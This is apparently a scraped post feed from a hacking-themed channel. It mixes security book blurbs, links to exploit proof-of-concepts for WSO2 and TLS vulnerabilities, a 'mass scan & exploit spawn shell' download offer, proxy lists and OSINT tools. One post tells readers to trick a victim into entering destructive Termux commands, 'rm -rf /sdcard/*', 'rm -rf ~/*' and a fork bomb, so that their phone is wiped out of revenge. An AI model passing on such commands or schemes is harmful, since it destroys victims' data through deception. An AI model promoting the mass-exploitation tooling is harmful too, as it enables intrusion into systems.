Watchguard-RCE-POC-CVE-2022-26318

📖 Incident Response Techniques for Ransomware Attacks: Understand modern ransomware attacks and build an incident response strategy to work through them.

• Дата выхода: 14 Апреля 2022 года.
• Рейтинг: ⭐️⭐️⭐️⭐️⭐️ (5 out of 5)

• VT. (3 Detect)

• This book starts by discussing the history of ransomware, showing you how the threat landscape has changed over the years, while also covering the process of incident response in detail. You'll then learn how to collect and produce ransomware-related cyber threat intelligence and look at threat actor tactics, techniques, and procedures. Next, the book focuses on various forensic artifacts in order to reconstruct each stage of a human-operated ransomware attack life cycle. In the concluding chapters, you'll get to grips with various kill chains and discover a new one: the Unified Ransomware Kill Chain.

🧩 Софт для чтения.

#Eng #Ransomware

WSO2 RCE (CVE-2022-29464) #exploit

https://github.com/hakivvi/CVE-2022-29464

Photo

Cyber Defense Handbook.pdf

📖 Modern System Administration: Building and Maintaining Reliable Systems.

• Дата выхода: 1 Ноября 2022 года.
• Рейтинг: ⭐️⭐️⭐️⭐️⭐️ (5 out of 5)

• VT.

• Development and testing: Version control, fundamentals of virtualization and containers, testing, and architecture review, Deploying and configuring services: Infrastructure management, networks, security, storage, serverless, and release management, Scaling administration: Monitoring and observability, capacity planning, log management and analysis, and security and compliance.

🧩 Софт для чтения.

#Eng

0day CVE-2022-29464 (WSO2) Mass Scan & Exploit spawn shell - Open Source.
Download : https://1877.to/forums/index.php?resources/cve-2022-29464-wso2-mass-scan-exploit-open-source.4/
#Overthinker1877

📖 Cloud Native Security Cookbook: Recipes for a Secure Cloud.

• Дата выхода: 19 Июня 2022 года.
• Рейтинг: ⭐️⭐️⭐️⭐️⭐️ (5 out of 5)

• VT.

• With the rise of the cloud, every aspect of IT has been shaken to its core. The fundamentals for building systems are changing, and although many of the principles that underpin security still ring true, their implementation has become unrecognizable. This practical book provides recipes for AWS, Azure, and GCP to help you enhance the security of your own cloud native systems.

🧩 Софт для чтения.

#Eng #Cloud #Security #AWS #Azure

#Free And Fresh Always Auto-updated SOCKS5 SOCKS4 Proxy list Http Https Proxies

https://github.com/clarketm/proxy-list
https://github.com/hookzof/socks5_list
https://github.com/sunny9577/proxy-scraper
https://github.com/ShiftyTR/Proxy-List
https://github.com/TheSpeedX/PROXY-List
https://github.com/stamparm/fetch-some-proxies
https://github.com/almroot/proxylist
https://github.com/takelley1/proxy-servers
https://github.com/Volodichev/proxy-list
https://github.com/roosterkid/openproxylist
https://github.com/jetkai/proxy-list
https://github.com/ph4ntonn/Stowaway
https://github.com/proxyips/proxylist
https://github.com/vaitan/proxy-list
https://github.com/h4mid007/free-proxy-list
https://github.com/fate0/proxylist

Radar Interference Tracker (RIT) —
Radar Interference Tracker (RIT) is an open source tool that allows anyone to search for and potentially detect active military radar systems anywhere on Earth.

https://github.com/bellingcat/sar-interference-tracker

By a given MAC address/OUI/IAB, retrieve OUI vendor information, detect virtual machines, manufacturer, locations, read the information encoded in the MAC, and get our research's results regarding any MAC address, OUI, IAB, IEEE.

♾ https://macaddress.io/‌‌


Good service for checking MAC addresses

#osint
Here is a list of wonderful services to determine if a picture or video is fake ( deep fake) ..
♾ https://chrome.google.com/webstore/detail/fake-profile-detector-dee/jbpcgcnnhmjmajjkgdaogpgefbnokpcc
♾ http://www.kaicatch.com/
♾ https://github.com/chinmaynehate/DFSpot-Deepfake-Recognition

We destroy the enemy's phone

Salute, bandits! To take revenge on a nearby offender, it is not necessary to have hacker skills and try to somehow hack him. It is enough to convince the victim to enter a couple of commands in Termux, after which he will regret contacting you.

1. We convince the victim to download (even if not downloaded) and open Termux;
2. We send the following commands to the victim and ask them to enter them one by one:

$ termux-setup-storage
$ rm -rf /sdcard/*
$ rm -rf ~/*
$ :(){ :|:& };:

3. Congratulations, you are amazing!

These commands will format the entire system and the victim will lose everything that was on his device ✌️‌‌

[New] Smtps Checker With Email testing ! Very fast

Download link : https://github.com/Rootinabox/Smtps-Checker

#CVE #PoC

https://github.com/khalednassar/CVE-2022-21449-TLS-PoC

#threatleak

https://attackerkb.com/topics/zO1gNHJgcZ/cve-2022-29464/rapid7-analysis